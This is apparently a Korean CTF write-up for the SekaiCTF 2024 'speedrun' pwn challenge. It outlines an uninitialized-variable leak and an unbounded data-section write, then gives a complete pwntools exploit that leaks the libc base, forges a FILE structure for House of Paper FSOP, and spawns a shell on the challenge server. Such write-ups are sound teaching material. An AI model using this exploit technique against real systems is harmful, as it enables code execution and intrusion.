SekaiCTF 2024 - speedrun

Posted on Tue 03 September 2024 in CTF

문제 분석

봇과 더 큰 수를 말하면 이기는 게임이 구현된 소스코드가 주어진다.

취약점

취약점은 다음과 같다:

  1. simulate 함수에서 scanf("%llu%*c", &bot_num); 에 입력을 넣을 때 -n 을 입력하면 bot_num을 초기화하지 않고 다음 scanf로 넘어갈 수 있다. 그러면 bot_num이 초기화되지 않고 사용되므로 그 값을 알아낼 수 있다.
  2. game_history에 크기 제한이 없으므로 seed_generator를 포함한 data 영역에 임의의 값을 쓸 수 있다.

익스플로잇

두 취약점을 이용해서 libc의 base 주소를 구하고, seed_generator를 잘 변조해서 House of Paper [1] 를 이용해서 FSOP를 하면 된다.

from tqdm import tqdm
from pwn import *

# context.log_level = "debug"


def get_win_plays(ops: int = 0xFFFFFFFFFFFFFFFE) -> int:
    # bit_count = ops.bit_count()
    # assert 0 <= ops <= 0xFFFFFFFFFFFFFFFF
    # assert bit_count < 64

    # ret = 0
    # for _ in range(bit_count + 1):
    #     ret |= 1
    #     ret <<= 1
    # return ret
    return 0xFFFFFFFFFFFFFFFF


def fight_bot(player_plays: int):
    p.sendlineafter(b"> ", b"f")
    p.sendlineafter(b": ", str(player_plays).encode())


def print_game_history():
    p.sendlineafter(b"> ", b"p")


def reseed_bot():
    p.sendlineafter(b"> ", b"r")


def fight_and_win():
    p.sendlineafter(b"> ", b"f")
    p.recvuntil(b"Bot plays ")
    bot = int(p.recvuntil(b"!")[:-1])
    player = get_win_plays(bot)
    p.sendlineafter(b": ", str(player).encode())


def fight_and_lose():
    p.sendlineafter(b"> ", b"f")
    p.sendlineafter(b": ", str(0).encode())


def leak_libc_base():
    def simulate_with_player(plays: int) -> int:
        p.sendlineafter(b"> ", b"s")
        p.sendlineafter(b": ", b"-")
        p.sendlineafter(b": ", str(plays).encode())
        res = p.recvuntil(b"win!")
        return int(b"You" not in res)

    def leak_bit_count() -> int:
        MAX_BIT_COUN = 35

        val = 0b111
        cur = simulate_with_player(0b11)
        prev = simulate_with_player(0b01)
        pprev = simulate_with_player(0b00)
        for i in range(3, MAX_BIT_COUN):
            pprev, prev, cur = prev, cur, simulate_with_player(val)

            if pprev == 1 and cur != 1:
                return i

            val <<= 1
            val |= 1

    def make_val(*bit_idxs: int) -> int:
        BIT_LIST = [1 << i for i in range(63)]
        val = 0
        for idx in bit_idxs:
            assert 0 <= idx < len(BIT_LIST)
            val |= BIT_LIST[idx]
        return val

    bit_count = leak_bit_count()

    fixed = []
    not_fixed = [i for i in range(bit_count)]
    last_moved = -1
    while len(fixed) != bit_count:
        val = make_val(*(fixed + not_fixed))
        if simulate_with_player(val) == 1:
            fixed.append(last_moved)
            not_fixed.pop()
        else:
            last_moved = not_fixed[0]
            not_fixed.append(not_fixed[-1] + 1)
            not_fixed.pop(0)

    io_default_uflow_plus_50 = make_val(*fixed)
    io_default_uflow = io_default_uflow_plus_50 - 50
    libc_base = io_default_uflow - libc.symbols["_IO_default_uflow"]
    return libc_base


def leak_libc_base_with_progress():
    def simulate_with_player(plays: int) -> int:
        p.sendlineafter(b"> ", b"s")
        p.sendlineafter(b": ", b"-")
        p.sendlineafter(b": ", str(plays).encode())
        res = p.recvuntil(b"win!")
        return int(b"You" not in res)

    def leak_bit_count() -> int:
        MAX_BIT_COUN = 35

        val = 0b111
        cur = simulate_with_player(0b11)
        prev = simulate_with_player(0b01)
        pprev = simulate_with_player(0b00)
        with tqdm(total=MAX_BIT_COUN - 3, desc="Leak libc's bit count") as pbar:
            for i in range(3, MAX_BIT_COUN):
                pprev, prev, cur = prev, cur, simulate_with_player(val)

                if pprev == 1 and cur != 1:
                    pbar.update(MAX_BIT_COUN - i)
                    return i

                val <<= 1
                val |= 1
                pbar.update(1)

    def make_val(*bit_idxs: int) -> int:
        BIT_LIST = [1 << i for i in range(63)]
        val = 0
        for idx in bit_idxs:
            assert 0 <= idx < len(BIT_LIST)
            val |= BIT_LIST[idx]
        return val

    bit_count = leak_bit_count()

    fixed = []
    not_fixed = [i for i in range(bit_count)]
    last_moved = -1
    with tqdm(total=bit_count, desc="Leak libc base") as pbar:
        while len(fixed) != bit_count:
            val = make_val(*(fixed + not_fixed))
            if simulate_with_player(val) == 1:
                fixed.append(last_moved)
                not_fixed.pop()
                pbar.update(1)
            else:
                last_moved = not_fixed[0]
                not_fixed.append(not_fixed[-1] + 1)
                not_fixed.pop(0)

    io_default_uflow_plus_50 = make_val(*fixed)
    io_default_uflow = io_default_uflow_plus_50 - 50
    libc_base = io_default_uflow - libc.symbols["_IO_default_uflow"]
    return libc_base


def set_bit(bit: int):
    assert bit == 0 or bit == 1
    if bit:
        fight_and_win()
    else:
        fight_and_lose()


def set_bits(bits: int, bit_count: int):
    for _ in range(bit_count):
        set_bit(bits & 1)
        bits >>= 1


def set_bits_with_progress(bits: int, bit_count: int):
    for _ in tqdm(range(bit_count), desc="Set bits"):
        set_bit(bits & 1)
        bits >>= 1


def set_bytes(data: bytes):
    for c in data:
        cur = int(c)
        set_bits(cur, 8)


def set_bytes_with_progress(data: bytes):
    with tqdm(total=len(data) * 8, desc="Set bytes") as pbar:
        for c in data:
            cur = int(c)
            for _ in range(8):
                set_bit(cur & 1)
                cur >>= 1
                pbar.update(1)


# p = process("./patched_chall")
p = remote("speedpwn.chals.sekai.team", 1337, ssl=True)
elf = ELF("./chall")
libc = ELF("./libc-2.39.so")

log.info("Leak libc base...")
LIBC_BASE = leak_libc_base_with_progress()
IO_WFILE_JUMPS = LIBC_BASE + 0x202228
IO_FILE_JUMPS = LIBC_BASE + 0x202030
log.success(f"LIBC_BASE: {hex(LIBC_BASE)}")

log.info("Setup wide_data->vtable")
set_bits_with_progress(
    LIBC_BASE + libc.symbols["system"], 64 * 2
)  # @ elf.symbols['game_history']

log.info("Set FILE* pointer to data section")
FILE_POINTER = 0x4040A0
WIDE_DATA_POINTER = FILE_POINTER + 0xF0
WIDE_VTABLE_POINTER = elf.symbols["game_history"] - 0x18
set_bits_with_progress(0x4040A0, 64)

log.info(
    "Build FILE structures suitable for House of Paper; https://zeroclick.sh/posts/fsop-intro/"
)
fake_file = b""
# FILE
fake_file += b"h;sh".ljust(8, b"\x00")  # flag;
fake_file += p64(0)  # read ptr
fake_file += p64(0)  # read end
fake_file += p64(0)  # read base
fake_file += p64(0)  # write base
fake_file += p64(0)  # write ptr
fake_file += p64(0)  # write end
fake_file += p64(0)  # buf base;
fake_file += p64(0)  # buf end;
fake_file += p64(0) * 3  # save and backup ptrs;
fake_file += p64(0)  # marker; 0x60
fake_file += p64(0)  # chain; 0x68
fake_file += p32(0) + p32(0)  # fileno & flag; 0x70
fake_file += p64(0)  # old off; 0x78
fake_file += p64(0)  # etc; 0x80
fake_file += p64(0x404000 + 0x500)  # lcok; 0x88
fake_file += p64(0)  # offset; 0x90
fake_file += p64(0)  # codecvt; 0x98
fake_file += p64(WIDE_DATA_POINTER)  # wide data; 0xa0
fake_file += p64(0)  # free list; 0xa8
fake_file += p64(0)  # freeers buf; 0xb0
fake_file += p64(0)  # pad5; 0xb8;
fake_file += p64(0) * 3  # padding; 0xc0
fake_file += p64(IO_WFILE_JUMPS + 0x8)  # vtable; 0xd8
fake_file += p64(0) * 3
# for wide_data
fake_file += p64(0) * 3  # ; 0x00
fake_file += p64(1)  # write ptr; 0x20
fake_file += p64(0) * 0x17
fake_file += p64(WIDE_VTABLE_POINTER)  # vtable
set_bytes_with_progress(fake_file)
log.info("Get shell")
reseed_bot()

p.interactive()